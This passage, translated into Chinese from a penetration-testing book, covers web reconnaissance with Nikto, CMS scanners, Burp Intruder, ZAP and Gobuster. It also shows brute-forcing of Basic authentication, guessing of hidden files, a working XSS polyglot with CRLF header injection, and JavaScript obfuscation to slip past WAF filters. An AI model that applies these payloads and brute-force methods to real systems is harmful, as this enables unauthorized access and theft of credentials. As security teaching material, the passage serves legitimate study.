Nikto 在任务的初期阶段提供了很大价值。它相对不具侵入性,并且凭借其内建插件,能够快速提供关于应用程序的洞察。它还提供一些更为激进的扫描功能,这些功能可能对旧的应用程序或基础设施产生成功效果。
如果任务不要求攻击者特别隐蔽,那么也可以运行噪音较大的 Nikto 选项。Nikto 可以猜测子域名、报告不寻常的头信息,并检查 robots.txt 文件中的有趣信息:
图 2.4:example.com 域的标准扫描
Nikto 输出关于 HTTPS 证书、服务器横幅、可能缺失的任何安全相关 HTTP 头信息,以及其他可能有用的信息。它还注意到服务器横幅在请求之间发生了变化,表明可能配置了 WAF 来保护应用程序。
Nikto 可以从 github.com/sullo/nikto 下载。它也可以在大多数渗透测试专用的 Linux 发行版上找到,如 Kali 或 BlackArch。
CMS 扫描器
当目标使用 CMS(如Joomla、Drupal或WordPress)时,运行自动化漏洞测试工具应成为你的下一步。
WordPress 是一个流行的 CMS,因为它提供几乎适用于任何类型站点的插件,使其非常可定制并广泛采用,但同时也很复杂,攻击面较大。它有大量易受攻击的插件,且用户通常不频繁升级这些插件。
在测试过程中,你可能会发现某个插件中存在一个可以远程利用的漏洞,提供一个 shell,但通常来说,WordPress 是一个信息宝库。用户名可以被枚举,密码往往较弱且容易暴力破解,或者目录索引可能已启用。WordPress 的内容文件夹有时也包含管理员“临时”上传的敏感文件。在后续章节中,我们将看到如何利用配置不当的 WordPress 实例攻击应用服务器,并在网络中横向渗透。
WordPress 并非唯一存在这种问题的系统。Joomla 和 Drupal 也非常流行,并且也存在许多与 WordPress 安装相同的漏洞和配置问题。
有一些免费的扫描器可供使用,旨在测试这些 CMS 中的低悬果实:
-
WPScan (
wpscan.org/): 一个强大的工具,用于测试 WordPress 安装 -
JoomScan (
github.com/rezasp/joomscan): 如其名称所示,是一个专注于 Joomla 测试的 CMS 扫描器 -
droopescan (
github.com/droope/droopescan): 一个专门针对 Drupal 的扫描器,同时支持一些 Joomla -
CMSmap (
github.com/Dionach/CMSmap): 一个更通用的扫描器和暴力破解工具,支持 WordPress、Joomla 和 Drupal
注意
在进行 WordPress 扫描之前,请确保它托管在参与范围内。一些 CMS 实现会将核心站点托管在本地,但插件或内容目录则位于独立的内容分发网络(CDN)上。这些 CDN 主机可能需要提交渗透测试通知表单,才能将其包含在测试中。
我们将在后续章节中更详细地介绍 CMS 评估工具,如 WPScan。
高效的暴力破解
暴力破解攻击通常涉及大量请求或猜测,以获得访问权限或揭示可能隐藏的信息。我们可能会对管理面板的登录表单进行暴力破解,寻找常用的密码或用户名。我们还可能对 Web 应用的根目录进行暴力破解,寻找常见的配置错误和错误放置的敏感文件。
许多成功的渗透测试正是通过弱凭据或应用配置错误实现的。暴力破解可以帮助揭示可能被隐藏的信息,或者因开发人员忘记更改默认凭据而获得对数据库的访问权限。
强行破解存在明显的挑战。主要是它非常耗时,并且可能非常嘈杂。例如,使用臭名昭著的rockyou.txt词表对一个 Web 服务进行强行破解,毫无疑问会引起你友好的邻居安全运营中心(SOC)分析员的注意,并可能会早早地终止你的活动。rockyou.txt列表包含超过 1400 万个条目,最终可能会成功猜测凭证,但限制流量洪流并使用更小、更高效的列表可能更好。
其中一个更好的常见关键词、凭证、目录、有效负载甚至 Webshell 集合是SecLists库:github.com/danielmiessler/SecLists。
注意
一个替代方案或补充方案是FuzzDB。它是一个类似的文件集合,包含各种有效负载,可以帮助进行强行破解,它也可以从 GitHub 库中下载:github.com/fuzzdb-project/fuzzdb。
使用流行的版本控制系统工具git获取 SecLists 的最新副本非常容易。我们可以使用git clone命令拉取这个库:
**root@kali:~/tools# git clone https://github.com/danielmiessler/SecLists**
SecLists 包含一个不断发展的编译词表数据库,可以用于发现扫描、强行破解攻击等多种用途:
| SecList Wordlist | 描述 |
|---|---|
Discovery | Web 内容、DNS 和常见的 Nmap 端口 |
Fuzzing | FuzzDB、Brutelogic、Polyglot 有效负载等 |
IOCs | 恶意软件相关的妥协指标 |
Miscellaneous | 可能有特殊用途的各种词表 |
Passwords | 大量的常见密码词表,按前 N 个文件拆分 |
Pattern-Matching | 用于“grep”感兴趣信息的词表 |
Payloads | 常见语言的 Webshell、Windows Netcat 和 EICAR 测试文件 |
Usernames | 常见名字和登录 ID 的列表 |
安全社区是 SecLists 的频繁贡献者,在开始工作之前,从 GitHub 拉取最新的更改是个好习惯。
希望目标映射已经提供了一些有助于更有效强行破解的关键信息。虽然 Nikto 和 Nmap 可能无法总是找到快速且简单的远程代码执行漏洞,但它们确实返回了在决定使用哪个词表进行发现时可能有用的数据。
有用的信息可能包括以下内容:
-
Web 服务器软件:Apache、NGINX 或 IIS
-
服务器端开发语言:ASP.NET、PHP 或 Java
-
底层操作系统:Linux、Windows 或嵌入式
-
robots.txt -
有趣的响应头
-
WAF 检测:F5或 Akamai
你可以根据前面列表中展示的非常简单的信息对应用程序做出假设。例如,IIS web 服务器更可能运行用 ASP.NET 开发的应用程序,而非 PHP。尽管 PHP 在 Windows 上仍然可用(通过 XAMPP),但在生产环境中不常见。相比之下,尽管 Linux 系统上也有 Active Server Pages (ASP) 处理器,PHP 或 Node.js 在当今环境中要更为常见。在进行文件暴力破解时,你可以在将扩展名附加到有效负载时考虑这一点:Windows 目标使用 .asp 和 .aspx,而 Linux 目标则可以使用 .php,这是一个好的起点。
robots.txt 文件通常很有趣,因为它可以提供“隐藏”的目录或文件,是进行目录或文件暴力破解时的一个良好起点。robots.txt 文件本质上是为合法的爬虫机器人提供指令,告诉它们可以索引什么,应该忽略什么。这是一种方便实现此协议的方式,但它意味着该文件必须对匿名用户(包括你自己)可读。
一个示例 robots.txt 文件大致如下:
User-agent: *
Disallow: /cgi-bin/
Disallow: /test/
Disallow: /~admin/
谷歌的爬虫会忽略子目录,但你不能忽略。这对即将进行的扫描来说是有价值的信息。
内容发现
我们已经提到过两个在初步发现扫描中非常有用的工具:OWASP ZAP 和 Burp Suite。Burp 的 Intruder 模块在免费版中有速率限制,但仍然可以用于快速检查。这两个攻击代理都可以在 Kali Linux 上使用,并且可以很容易地为其他发行版下载。还有其他命令行替代工具,比如 Gobuster,可以用来稍微自动化这个过程。
Burp Suite
如前所述,Burp Suite 随 Intruder 模块捆绑,允许我们轻松地进行内容发现。我们可以利用它查找隐藏的目录和文件,甚至猜测凭证。它支持有效负载处理和编码,使我们能够定制扫描,以更好地与目标应用程序进行交互。
在 Intruder 模块中,你可以利用 SecLists 提供的相同单词列表,甚至可以将多个列表组合成一个攻击。这是一个强大的模块,具有许多功能,包括但不限于以下内容:
-
集群炸弹攻击,适用于多个有效负载,例如用户名和密码,我们将在后面展示。
-
高度定制化攻击的有效负载处理
-
攻击速率限制和低速攻击的可变延迟
-
…以及更多内容!
我们将在后面的章节中介绍这些内容和其他功能。
图 2.5:Burp Suite Intruder 模块的有效负载屏幕
Burp Suite 的免费版可以在 Kali Linux 中轻松获取,但正如我们在上一章中提到的,它有些限制。Intruder 模块中存在一些限制,特别是攻击连接的时间限制。对于大量负载,可能会成为障碍。
Burp Suite 的专业版非常推荐给那些定期进行应用程序测试的人。Burp Suite 在逆向工程应用程序或协议时也非常有价值。现代应用程序或恶意软件通过 HTTP 与外部服务器进行通信是很常见的。拦截、修改和重放这些流量非常有价值。
OWASP ZAP
Burp Suite 的免费替代工具是 ZAP,它本身就是一个强大的工具,并提供了 Burp Suite 的一些发现能力。
Burp 的 Intruder 模块的 ZAP 等效模块是Fuzzer模块,具有类似的功能,如下图所示:
图 2.6:OWASP ZAP 的 Fuzzer 模块配置。由于 ZAP 是开源的,因此没有使用限制。如果目标是进行快速的内容发现扫描或凭证暴力破解,它可能是 Burp Suite 免费版的更好替代方案。
Gobuster
Gobuster 是一个高效的命令行工具,用于内容发现。Gobuster 并未预安装在 Kali Linux 中,但它可以从 GitHub 获得。顾名思义,Gobuster 是用 Go 语言编写的,并且在使用之前需要安装 golang 编译器。
在 Kali Linux 上配置 Gobuster 的步骤相当简单。我们可以通过执行以下命令开始:
**root@kali:~# apt-get install golang**
上述命令将全局安装 Go 编译器。这是构建 Gobuster 最新版本所必需的。
接下来,你需要确保GOPATH和GOBIN环境变量正确设置。我们将GOPATH指向我们主目录中的go目录,并将GOBIN设置为新定义的GOPATH值:
**root@kali:~# export GOPATH=~/go**
**root@kali:~# export GOBIN=$GOPATH**
我们现在可以通过git clone命令从 GitHub 拉取 Gobuster 的最新版本:
root@kali:~/tools# git clone https://github.com/OJ/gobuster
Cloning into 'gobuster'...
[...]
然后,我们可以获取依赖并编译 Gobuster 应用程序。go get和go build命令将在本地目录中生成 Gobuster 二进制文件:
**root@kali:~/tools/gobuster# go get && go build**
如果命令没有产生输出,说明工具已被编译并准备好使用:
**root@kali:~/tools/gobuster# ./gobuster**
**Gobuster v1.3 OJ Reeves (@TheColonial)**
**=====================================================**
**[!] WordList (-w): Must be specified**
**[!] Url/Domain (-u): Must be specified**
**=====================================================**
**root@kali:~/tools/gobuster#**
Gobuster 具有许多有用的功能,包括通过代理(例如本地 Burp Suite 实例)进行攻击、将输出保存到文件以供进一步处理,甚至对目标域进行子目录的暴力破解。
下图显示了 Gobuster 使用 SecLists 库中的常见 Web 内容文件对http://10.0.5.181进行发现扫描:
图 2.7:在 10.0.5.181 服务器上运行的 Gobuster 示例
在无法运行完整的图形用户界面(GUI)应用程序(例如 Burp 或 ZAP)的系统上,命令行 URL 发现工具可能会非常有用。
持久化内容发现
某次扫描的结果可能会揭示有趣的目录,但这些目录并不总是可以访问的,且应用程序中的目录索引越来越罕见。幸运的是,通过使用内容发现扫描,我们可以检查目录内是否存在其他配置错误的敏感信息。假设应用程序托管在http://10.0.5.181/,其中包含一个可能受到密码保护的特定目录。应用程序中的常见配置错误是保护父目录,却错误地认为所有子目录也会被保护。这导致开发人员将更敏感的目录放在父目录中,并忽略了它们。
之前检查robots.txt文件时,发现了一些有趣的目录:
**Disallow: /cgi-bin/**
**Disallow: /test/**
**Disallow: /~admin/**
admin目录引起了注意,但尝试访问/~admin/返回了 HTTP 403 Forbidden 错误:
图 2.8:访问该目录被禁止
这可能令人沮丧,但我们不能就此止步。目标目录太有吸引力,不值得放弃。通过使用 OWASP ZAP,我们可以对该目录启动新的 Fuzzer 任务,看看是否能找到任何未受保护的有价值信息。
确保光标位于最左侧面板中的 URL 末尾。点击最右侧面板中Fuzz Locations旁边的添加按钮:
图 2.9:Fuzzer 配置,添加 Fuzz Locations
在下一个屏幕上,我们可以为Fuzzer添加一个新的负载。我们将从 SecLists 存储库中选择raft-small-files.txt字典:
图 2.10:Fuzzer 配置 – 添加负载屏幕
由于我们希望将/~admin URI 视为目录并在其中查找文件,我们需要为选定的负载使用字符串处理器。这将是一个简单的前缀字符串处理器,它会在列表中的每个条目前添加一个正斜杠。
图 2.11:Fuzzer 配置 – 添加处理器屏幕
Fuzzer 任务可能需要一段时间才能完成,并且会产生大量的403或404错误。在这种情况下,我们能够找到一个隐藏的管理文件。
图 2.12:完成的 Fuzzer 扫描显示了一个可访问的隐藏文件
HTTP 200响应表示我们能够访问此文件,即使父目录/~admin/不可访问。看来我们可以访问包含在引人注目的admin目录中的admin.html文件。
应用程序安全性难以正确实现,随着应用程序的老化、演变以及员工更替,保持初始的安全基准变得更加困难。访问权限被授予却未被撤销;文件被添加且权限错误;底层操作系统和框架逐渐过时,容易受到远程攻击。
在进行初步内容发现扫描时,重要的是要记住不要停留在我们看到的第一个错误信息上。访问控制漏洞非常常见,如果我们坚持下去,可能会发现各种未保护的子目录或文件。
有效载荷处理
Burp Suite 的 Intruder 模块是攻击者在针对 Web 应用程序时的强大盟友。早期的发现扫描已经识别出一个隐藏但诱人的 /~admin/ 目录。随后的目录扫描揭示了一个未保护的 admin.html 文件。
在继续之前,我们将切换到 Burp Suite 攻击代理,并将 目标范围 配置为 vuln.app.local 域:
图 2.13:Burp Suite 目标范围配置屏幕
目标范围 允许我们定义要包括在攻击范围内的主机、端口或 URL。这有助于过滤掉可能与我们目标无关的流量。配置 Burp Suite 作为我们的攻击代理后,我们可以访问隐藏的 admin.html URL,并在代理历史中记录该流量:
图 2.14:通过浏览器访问隐藏文件成功
跟随 服务器连接测试 链接,我们进入了一个基本认证域 管理员工具,如图所示:
图 2.15:尝试访问链接时的身份验证弹窗
我们的渗透测试反应迅速,本能地输入了不幸常见的 admin/admin 凭据,但这次没有成功。
由于与目标的所有交互都被 Burp 代理记录,我们只需将失败的请求传递给 Intruder 模块,如下图所示。Intruder 将使我们能够轻松地攻击基本认证机制:
图 2.16:HTTP 历史记录屏幕
在 Intruder 模块中,默认设置大多是有效的——我们只需要选择 Authorization 头中的 Base64 编码凭据部分,并点击右侧的 添加 按钮。这样就会将 HTTP 请求中的这一位置标记为有效载荷位置。
以下展示了在 Authorization 头部中选择的有效载荷位置:
图 2.17:指定 Authorization 头中的有效载荷位置
在 有效载荷 标签中,我们将从下拉菜单中选择 自定义迭代器 有效载荷类型,如下图所示:
图 2.18:配置有效载荷类型
Authorization头部包含以冒号分隔的用户名和密码的 Base64 编码明文值。为了有效地暴力破解应用程序,载荷必须与此格式一致。我们需要提交一个按照Authorization头部要求的格式进行的载荷。每个攻击代理的暴力破解请求所使用的载荷都必须是由冒号分隔的用户名和密码,并进行 Base64 编码:base64([user_payload]:[password_payload])。
我们可以获取已捕获的Authorization头部的值,并将其传递给 Burp Suite 的 Decoder 模块。Decoder 允许我们快速处理不同编码方案之间的字符串,如 Base64、URL 编码、GZip 等。
这张图显示了我们如何利用 Decoder 将YWRtaW46YWRtaW4=的 Base64 值转换为**解码为...**下拉框中显示的内容。结果会在底部窗格中列出为admin:admin:
图 2.19:Burp Decoder 屏幕
返回到入侵者模块,对于载荷位置 1,我们将再次使用来自 SecLists Usernames集合的一个小型字典文件,名为top-usernames-shortlist.txt。我们的目标是找到容易破解的账户,同时尽量减少对应用程序的请求压力。使用一个常见的高价值用户名短列表是一个不错的第一步。
这张图显示了如何使用载荷选项中的**加载...**按钮将字典列表加载到位置 1 中:
图 2.20:载荷位置 1 配置屏幕
位置 1 的分隔符应为冒号(:)。对于位置 2 的载荷,你可以使用 SecLists 密码目录中的500-worst-passwords.txt列表。
下图显示了载荷位置 2 包含加载的500-worst-passwords.txt文件内容:
图 2.21:载荷位置 2 配置屏幕
位置 2 的分隔符应留空。
此时,发送到应用程序的每个请求将包含如下格式的Authorization头部:
Authorization: Basic admin:admin
Authorization: Basic admin:test
[...]
Authorization: Basic root:secret
Authorization: Basic root:password
为了完成载荷配置,我们还需要指示入侵者在发送请求前将载荷进行 Base64 编码。我们可以使用一个载荷处理器来强制对每个请求进行 Base64 编码。
在载荷标签下,点击载荷处理,选择添加,然后从编码类别中选择Base64 编码处理器。我们还将禁用自动 URL 编码,因为它可能会破坏Authorization头部。
以下 URL 显示了启用的Base64 编码处理器:
图 2.22:载荷处理规则 - Base64 编码
一旦载荷配置完成,我们可以通过点击入侵者模块右上角的开始攻击按钮,开始暴力破解,如下图所示:
图 2.23:开始攻击
与内容发现扫描类似,这种凭证暴力破解会生成相当数量的 HTTP 401 错误。如果幸运的话,至少会有一次是成功的,正如接下来的图所示:
图 2.24:攻击结果界面
现在,因为每个入侵者攻击的请求都会被记录,我们可以检查每一个请求,或者通过列排序来更清晰地展示攻击结果。在前面的示例中,我们可以清楚地看到,成功的身份验证请求返回了 HTTP 状态码 200,而大多数其他请求返回了预期的 401。不过,状态码并不是唯一能够快速判断攻击是否成功的方式。响应内容长度的偏差可能是一个很好的指标,表明我们正走在正确的道路上。
现在我们有一个有效载荷,成功获取了 Admin Tools 身份验证区域的访问权限,我们可以通过解码器模块查看明文凭证。
该图展示了解码器模块揭示的猜测凭证:
图 2.25:Burp Suite 解码器
凭证暴力破解只是入侵者模块众多用途之一。您可以利用自定义有效载荷和有效载荷处理来发挥创意。
假设一个场景,vuln.app.local 应用程序生成包含敏感信息的 PDF 文件,并将其存储在一个名为 /pdf/ 的未保护目录中。文件名似乎是文件生成日期的 MD5 摘要,但应用程序并不会每天都生成 PDF 文件。你可以尝试手动猜测每一天的文件名,但那并不理想。你甚至可以花点时间编写一个 Python 脚本来自动化这个任务。更好的替代方法是利用 Burp Suite,通过几次点击轻松完成这一任务。此外,这种方法还有一个好处,就是可以在一个窗口中记录攻击响应,方便检查。
我们可以再次将之前记录的请求直接发送到目标 /pdf/ 文件夹,传递给入侵者模块。
该图显示,PDF 文件的名称(不包括扩展名)被识别为有效载荷位置,并使用添加按钮进行标识:
图 2.26:入侵者有效载荷位置配置界面
下图展示了在入侵者模块中可用的日期有效载荷类型选项:
图 2.27:入侵者的有效载荷界面
在此攻击中,您将使用日期有效载荷类型,并使用适当的日期格式,回溯几年的数据。有效载荷处理器将是 MD5 哈希生成器,它将生成每个日期的哈希值并返回相应的字符串。这类似于我们在上一轮攻击中使用的Base64 编码处理器。
再次配置好有效载荷选项后,我们可以开始攻击。
下图显示了一些带有200 HTTP 状态码和大长度的请求,表示可以下载 PDF 文件:
图 2.28:入侵者攻击结果屏幕
入侵者将根据我们指定的日期格式生成负载列表,并计算字符串的哈希值,然后在几次点击后将其发送到应用程序。在很短的时间内,我们发现了至少三个未受适当保护、可能包含敏感信息的文档可以匿名访问。
多语言负载
多语言负载被定义为可以在应用程序中的多个上下文中执行的代码片段。攻击者喜欢这种类型的负载,因为它们可以快速测试应用程序的输入控件是否存在任何弱点,而且干扰很小。
在一个复杂的应用程序中,用户输入可能会经过许多检查点——从 URL 经过过滤器,进入数据库,再返回到解码器,最后显示给用户,如下图所示:
图 2.29:用户到应用程序的典型数据流
沿途的任何一步都可能改变或阻止负载,这可能会使确认应用程序中漏洞存在变得更加困难。多语言负载将尝试通过在同一流中结合多种执行代码的方法来利用注入漏洞。这试图利用应用程序负载过滤的弱点,增加代码至少有一部分被忽略并成功执行的机会。这是由于 JavaScript 是一种非常宽容的语言。浏览器一直是开发者的一个简单的入门障碍,而 JavaScript 根植于类似的哲学。
OWASP 跨站脚本(XSS)绕过过滤器的秘籍包含了一些多语言负载的示例,这些负载也可以规避一些应用程序过滤器:www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet。
一个很好的强多语言负载示例可以在研究员 Ahmed Elsobky 的 GitHub 上找到:
jaVasCript:/*-/*'/*\'/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
乍一看,这似乎有些混乱,但每个字符都有其目的。这个负载旨在在各种上下文中执行 JavaScript,无论代码是反映在 HTML 标签内部还是直接位于另一段 JavaScript 代码中。浏览器的 HTML 和 JavaScript 解析器非常包容。它们不区分大小写,对错误友好,并且不太关心缩进、换行或空格。转义或编码的字符有时会被转换回其原始形式并注入到页面中。特别是 JavaScript 会尽其所能执行传递给它的任何代码。一个好的多语言负载将利用所有这些,并试图规避一些过滤。
敏锐的观察者首先会注意到,大多数关键字,如textarea、javascript和onload,,都是随机大写的:
**jaVasCript**:/*-/*'/*\'/*'/*"/**/(/* */**oNcliCk**=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</**teXtarEa**/</scRipt/--!>\x3csVg/<sVg/**oNloAd**=alert()//>\x3e
这看起来像是试图逃避应用防火墙输入过滤器的徒劳尝试,但你会惊讶地发现,许多设计都很糟糕。考虑以下正则表达式(regex)输入过滤器:
s/onclick=[a-z]+\(.+\)//**g**
注意
正则表达式是一段定义搜索模式的文本。一些 WAF 可能会使用正则表达式来尝试查找 HTTP 请求中的潜在危险字符串。
这将有效地防止通过onclick事件注入 JavaScript 代码,但有一个明显的缺陷:它没有考虑大小写敏感性。正则表达式有许多修饰符,例如前面示例中的g,并且默认情况下,大多数引擎需要i修饰符来忽略大小写,否则它们不会匹配,过滤器也会容易被绕过。
下图展示了 Regex101 将前面的正则表达式应用于一个示例测试字符串的可视化效果。我们可以看到,四个测试的有效载荷中只有两个与该表达式匹配,而所有四个都将执行 JavaScript 代码:
图 2.30:正则表达式过滤器可视化
提示
在评估应用程序的基于正则表达式的输入过滤器时,Regex101 是一个很好的地方,可以同时测试多个有效载荷。Regex101 是一个免费的在线工具,网址是regex101.com。
许多时候,开发人员在不现实的时间压力下工作。当渗透测试报告指出特定的输入清理问题时,开发人员面临压力,需要提交一个快速编写、安全性不足、只修复部分问题的安全修复。实施一个可能会破坏应用程序的框架来处理输入过滤通常既耗时又昂贵,因此往往在安全性上采取捷径。
Elsobky 有效载荷的目标还包括通过引擎处理经过反斜杠转义的十六进制编码值。例如,JavaScript 和 Python 会将以\x为前缀的两个字母数字字符处理为一个字节。这可以绕过某些执行原始字符串比较检查的内联 XSS 过滤器:
jaVasCript:/*-/*'/*\'/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\**x3c**sVg/<sVg/oNloAd=alert()//>\**x3e**
可能有效载荷会被剥离掉大部分其他关键字,但当过滤器遇到\x3c和\x3e时,它会将其解释为无害的四个字符字符串。应用程序可能会解析该字符串,并不经意地返回转义的十六进制字符<和>的一个字节等效值。结果是一个<svg>HTML 元素,通过onload事件执行任意 JavaScript。
注意
可伸缩矢量图形(SVG)是网页上的一个元素,可以在屏幕上绘制复杂的图形,而无需使用二进制数据。SVG 在 XSS 攻击中使用,主要因为它提供了onload属性,当元素被浏览器渲染时,会执行任意的 JavaScript 代码。
注意
更多关于此特定多语言代码强大功能的示例,见 Elsobky 的 GitHub 页面:github.com/0xSobky。
一个强大的多语言代码负载能够在多种注入场景下执行一些代码。Elsobky 的负载也可以在反射到服务器 HTTP 响应时发挥作用:
jaVasCript:/*-/*'/*\'/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
URL 编码字符%0d和%0a表示换行和回车。这些字符在 HTML 和 JavaScript 解析器中大多被忽略,但它们在 HTTP 请求或响应头中具有重要意义。
如果目标应用未正确过滤用户输入,在某些情况下,它可能会将任意值作为 HTTP 响应的一部分返回。例如,在尝试设置“记住我”Cookie 时,应用程序未过滤负载,直接在 HTTP 响应头中反射该负载,从而在用户的浏览器中造成 XSS:
GET /save.php?remember=username HTTP/1.1
Host: www.cb2.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
[...]
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: nginx/1.8.1
Set-Cookie: remember_me=username
Connection: close
Username saved!
如果我们将多语言负载作为用户名传入并记住,HTTP 响应头会被更改,正文将包含攻击者控制的数据,如下所示:
GET /save.php?remember=**jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*'%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%0D%0A%0d%0a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E** HTTP/1.1
Host: www.cb2.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
服务器的响应如下:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: nginx/1.8.1
Set-Cookie: remember_me=**jaVasCript**:/*-/*'/*\'/*'/*"/**/(/* */**oNcliCk=alert()** )//
**//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e**
Connection: close
Username saved!
响应有些被篡改,但我们确实实现了代码执行。URL 编码的回车字符%0D%0A%0d%0a被解释为 HTTP 响应的一部分。在 HTTP 协议中,两个回车和换行符表示头部的结束,后续的任何内容都将被浏览器渲染为页面的一部分。
相同负载,不同上下文
还有许多其他上下文可以使这个多语言代码成功执行代码。
如果多语言负载反射到用户名输入框的value属性中,浏览器对代码的解释清楚地显示了一个损坏的输入字段和一个恶意的<svg>元素。负载处理前的 HTML 代码如下所示:
<input type="text" name="username" value="[payload]">
该图显示了浏览器在处理负载后如何查看 HTML 代码:
图 2.31:反射型 XSS 负载
如果多语言负载反射到 HTML 注释中,它也会执行代码,如<!-- Comment! [payload] -->。
该负载包含注释结束指示符-->,这使得浏览器将其余文本解释为 HTML 代码。再次,<svg>元素的onload属性将执行我们的任意代码。
该图显示了浏览器在处理负载后如何查看 HTML 代码:
图 2.32:反射型 XSS 负载
如果多语言负载反射到设置正则表达式对象的某些代码中,它也会有用,如var expression = /[payload]/gi。
我们可以在浏览器控制台中通过以下示例代码测试此行为:
图 2.33:多语言代码可视化
我们可以看到,战略性地放置注释指示符,如/*、*/和//,将导致浏览器忽略大部分负载,从而产生有效的 JavaScript。
这是一个微妙的差别,但代码执行发生在这里:
(/* */oNcliCk=alert()
)
多行注释会被忽略,JavaScript 会执行括号之间的任何内容。在这种情况下,oNcliCk并不是表示鼠标事件绑定器,而是用来存储alert()函数的返回值,从而导致任意代码执行。
代码混淆
并非所有的应用防火墙都会剥离输入中的恶意字符串,允许其余的内容通过。一些内联解决方案会直接断开连接,通常表现为403或500的 HTTP 响应。在这种情况下,可能很难确定负载中的哪个部分被认为是安全的,哪个部分触发了阻止。
按照设计,内联防火墙必须非常快速,并且在处理传入数据时不能引入显著的延迟。结果通常是简单的逻辑,试图检测SQL 注入(SQLi)或 XSS 攻击。随机大写可能无法欺骗这些过滤器,但你可以放心地认为它们不会在每个请求的 HTML 页面上即时渲染,更不用说执行 JavaScript 来寻找恶意行为了。通常,内联应用防火墙会寻找特定的关键字,并将输入标记为潜在的恶意。例如,alert()可能会触发阻止,而单独的alert则会产生过多的误报。
为了增加成功的机会并降低噪声,我们可以通过似乎无限的方式来改变alert()函数的调用方式——这一切都要归功于 JavaScript。我们可以在浏览器控制台中测试,通过检查原生的alert()函数。window对象会保存对它的引用,我们可以通过不带括号调用该函数来确认这一点。控制台会显示它是一个内建函数,并且以[native code]显示其函数体。这意味着这不是一个自定义的用户定义函数,而是由浏览器核心定义的。
在 JavaScript 中,我们有多种方式访问对象的属性,包括像alert这样的函数引用。
这张图展示了我们如何直接访问相同的函数,或者使用数组表示法,在方括号内加入"alert"字符串:
图 2.34:访问alert()函数的不同方式
为了绕过基础的过滤器,这些过滤器可能会丢弃可疑的字符串,如alert(1),我们可以利用一些简单的编码方式。
使用 JavaScript 的parseInt函数,我们可以获取任何字符串的整数表示形式,使用自定义的进制。在这种情况下,我们可以获取"alert"字符串的 30 进制表示形式。为了将得到的整数转换回其字符串等效形式,我们可以利用内建的toString()方法,同时将整数的进制作为第一个参数:
图 2.35:“alert”字符串的编码与解码
现在我们知道 8680439..toString(30) 等于字符串 "alert",我们可以使用 window 对象和数组表示法来访问 alert() 函数的原生代码。
该图展示了我们如何使用混淆后的字符串调用 alert() 函数:
图 2.36:使用编码字符串执行 alert()
我们可以按照相同的过程对 console.log() 函数的调用进行混淆。与大多数可用的原生函数一样,console 也可以通过 window 对象访问。
下图展示了我们如何对字符串 console 和 log 进行编码,并使用相同的数组表示法访问属性和子属性,直到我们到达 console.log() 的原生代码:
图 2.37:对整个 console.log 命令进行编码
对于传统的强类型语言开发者来说,这种约定看起来很陌生。正如我们之前所看到的,JavaScript 引擎非常宽容,并且允许以多种方式执行代码。在之前的示例中,我们解码了函数的 base 30 整数表示,并将其作为键传递给 window 对象。
经过一些修改,Elsobky 载荷可以通过混淆处理变得更加隐蔽。它可能看起来像下面这样:
jaVasCript:/*-/*'/*\'/*'/*"/**/(/* */oNcliCk=**top[8680439..toString(30)]()** )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=top[8680439..toString(30)]()//>\x3e
提示
top 关键字是 window 的同义词,可以用来引用你需要的任何 window 对象中的内容。
通过一个小小的修改,polyglot 载荷仍然有效,并且现在更有可能绕过一些简单的内联过滤器,这些过滤器可能会尝试过滤或阻止发现尝试。
Brutelogic 提供了一个很棒的 XSS 载荷列表,并且有许多其他不传统的方式来执行代码,网址为 https ://brutelogic.com.br/blog/cheat-sheet/。
资源
请参考以下资源获取更多关于渗透测试工具和技术的信息:
-
Metasploit:
www.metasploit.com/ -
WPScan:
wpscan.org/ -
CMSmap:
github.com/Dionach/CMSmap -
Recon-NG(可在 Kali Linux 中使用或通过 Bitbucket 仓库访问):
bitbucket.org/LaNMaSteR53/recon-ng -
OWASP XSS 过滤器规避备忘单:
www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet -
Elsobky 的 GitHub 页面:
github.com/0xSobky -
Brutelogic 备忘单:
brutelogic.com.br/blog/cheat-sheet/ -
SecLists 仓库:
github.com/danielmiessler/SecLists
练习
完成以下练习:
-
在您的工具文件夹中创建 SecLists 和 FuzzDB 存储库的副本,并研究可用的单词列表。
-
下载并编译 Gobuster
总结
在本章中,我们讨论了提高在目标上收集信息效率的方法,并介绍了几种方法。如果在一次攻击中隐秘性至关重要,高效的内容发现也可以减少蓝队注意到攻击的机会。
经过时间考验的工具,如 Nmap 和 Nikto,可以让我们提前了解情况,而 WPScan 和 CMSmap 可以攻击那些经常配置错误且很少更新的复杂 CMS。对于较大的网络,masscan 可以快速识别有趣的端口,比如与 Web 应用程序相关的端口,从而使更专业的工具,如 WhatWeb 和 WPScan,更快地完成工作。
使用来自存储库(如 SecLists 和 FuzzDB)的适当单词列表,可以改善使用 Burp 或 ZAP 进行的 Web 内容和漏洞发现扫描。这些已知和有趣的 URL、用户名、密码和模糊负载的集合可以极大地提高扫描成功率和效率。
在下一章中,我们将探讨如何利用易得的机会来攻击 Web 应用程序。
第三章 低 hanging fruit
